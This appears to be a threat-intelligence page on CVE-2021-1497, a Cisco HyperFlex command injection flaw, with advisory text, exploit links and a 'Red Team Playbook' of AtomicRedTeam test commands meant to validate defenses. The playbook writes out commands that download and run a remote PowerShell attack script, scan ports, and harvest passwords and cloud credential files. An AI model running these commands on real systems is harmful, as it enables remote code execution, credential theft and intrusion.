CVE-2021-1497
Overview
This vulnerability is a command injection flaw rooted in improper input validation within the web-based management interface of Cisco HyperFlex HX Data Platform. The affected component fails to sanitize user-supplied data in authentication-related POST requests, allowing malicious input to be executed as system commands. The flaw resides specifically in the handling of parameters submitted to authentication endpoints, enabling injection of arbitrary commands at the operating system level.
Vulnerability Description
Multiple vulnerabilities in the web-based management interface of Cisco HyperFlex HX could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. For more information about these vulnerabilities, see the Details section of this advisory.
Impact
An attacker can execute arbitrary system-level commands on the affected device without any authentication or user interaction. This grants full control over the system, enabling data exfiltration, configuration manipulation, or persistent compromise. The vulnerability allows complete takeover of the HyperFlex HX Data Platform, potentially disrupting services and exposing sensitive operational data to unauthorized parties.
Solution
Cisco has released patches addressing these command injection vulnerabilities in the HyperFlex HX Data Platform. Administrators should apply updates as detailed in Cisco Security Advisory cisco-sa-hyperflex-rce-TjjNrkpR. The advisory provides specific version upgrades and mitigation steps. Users are advised to follow the vendor’s instructions precisely to remediate the issue and prevent exploitation.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The vulnerability in the web-based management interface of Cisco HyperFlex HX presents a significant risk due to its potential for command injection attacks. This type of vulnerability allows an attacker to send specially crafted commands to the affected device, which can then be executed with the privileges of the application. The nature of command injection exploits lies in the ability to manipulate the input fields of a web interface, leading to unauthorized command execution on the server. Given that this vulnerability is present in a management interface, it is particularly concerning as it can be accessed remotely and does not require authentication, amplifying the attack surface significantly.
Attack vectors for this vulnerability are primarily remote and unauthenticated, making it accessible to a wide range of potential attackers. An attacker could exploit this vulnerability by sending malicious input through the web interface, which could lead to arbitrary command execution. This could be achieved by crafting HTTP requests that include payloads designed to manipulate the server's command execution process. For instance, an attacker might inject commands that allow them to access sensitive data, modify configurations, or even take control of the affected system. The absence of proper input validation and sanitization in the web management interface is a critical factor that facilitates such attacks.
The real-world impact of this vulnerability can be severe, particularly for organizations relying on Cisco HyperFlex HX for their data management and storage solutions. Successful exploitation could lead to unauthorized access to sensitive information, disruption of services, and potential data breaches. The business risks associated with such an incident include financial losses, reputational damage, and regulatory penalties, especially if sensitive customer data is compromised. Furthermore, the high CVSS score of 9.8 indicates that the vulnerability poses a critical threat, necessitating immediate attention from organizations utilizing this platform.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regular vulnerability assessments and penetration testing should be conducted to identify and remediate any weaknesses in the web management interface. Additionally, organizations should ensure that they are running the latest software versions and apply security patches provided by Cisco promptly. Network segmentation can also be an effective strategy, limiting access to the management interface to trusted IP addresses only. Employing Web Application Firewalls (WAFs) can help in filtering out malicious requests and providing an additional layer of protection against command injection attempts.
In conclusion, the vulnerabilities present in the Cisco HyperFlex HX web-based management interface represent a critical threat that requires immediate and ongoing attention. With the potential for severe impacts on business operations and data security, organizations must prioritize detection, mitigation, and remediation strategies to safeguard their systems against such attacks. By adopting a proactive security posture, businesses can significantly reduce their risk exposure and enhance their overall cybersecurity resilience.
CSURFACE threat intelligence has detected a notable surge in activity related to CVE-2021-1497, indicating increased exploitation attempts targeting the Cisco HyperFlex HX Data Platform. This uptick in telemetry suggests adversaries are intensifying efforts to leverage the unauthenticated command injection vulnerability, potentially to gain unauthorized access or execute arbitrary commands on affected systems. The emergence of new proof-of-concept exploits and the availability of a Metasploit module further lower the barrier for threat actors, expanding the pool of potential attackers beyond highly skilled operators. Although ransomware groups have not been definitively linked to this vulnerability, the association with the akira group underscores the need for vigilance given their known opportunistic tactics. Consequently, the threat level for CVE-2021-1497 should be considered elevated, reflecting a growing risk of exploitation in operational environments and underscoring the urgency for defenders to maintain heightened monitoring and response capabilities.
Update 2 — July 03, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2021-1497, with telemetry indicating a doubling in detection frequency over recent monitoring periods. This surge coincides with the continued availability of a Metasploit module that facilitates unauthenticated command injection against Cisco HyperFlex HX Data Platform devices, effectively lowering the technical barrier for attackers. Although ransomware groups remain unconfirmed as active exploiters, the persistent association with the akira group—known for opportunistic intrusions—heightens concern about potential weaponization in broader attack campaigns. The stability of the EPSS score at an extremely high level underscores the ongoing exploitability and attractiveness of this vulnerability to threat actors. Collectively, these developments elevate the threat posture, signaling an increased likelihood of successful intrusions in operational environments where patching or mitigations are incomplete. Defenders should interpret this as a clear indicator of intensified adversary focus and an expanding attack surface, warranting sustained vigilance and proactive detection efforts.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Hyperflex Hx Data Platform | All |
cpe:2.3:o:cisco:hyperflex_hx_data_platform:*:*:*:*:*:*:*:*
|
|
|
Cisco | Hyperflex Hx Data Platform | All |
cpe:2.3:o:cisco:hyperflex_hx_data_platform:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Cisco HyperFlex HX Data Platform Command Execution
exploits/linux/http/cisco_hyperflex_hx_data_platform_cmd_exec
|
Nikita Abramov, Mikhail Klyuchnikov, wvu | Unknown | - | View |
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
34zY/APT-Backpack
cve-2019-11510, cve-2019-19781, cve-2020-5902, cve-2021-1497, cve-2021-20090, cve-2021-22006, cve-2021-2...
|
34zY | 3 | 1 | 2022-12-13 | View |
Threat Feed
13 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
47%
|
High | High | |
| CAPEC-6 | Argument Injection |
46%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-1497 |
| tools.cisco.com |
GitHub CVE
vendor-advisory
x_refsource_CISCO
|
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hyperflex-rce-TjjNrkpR |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/162976/Cisco-HyperFlex-HX-Data-Platform-Command-Execution.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-1497 |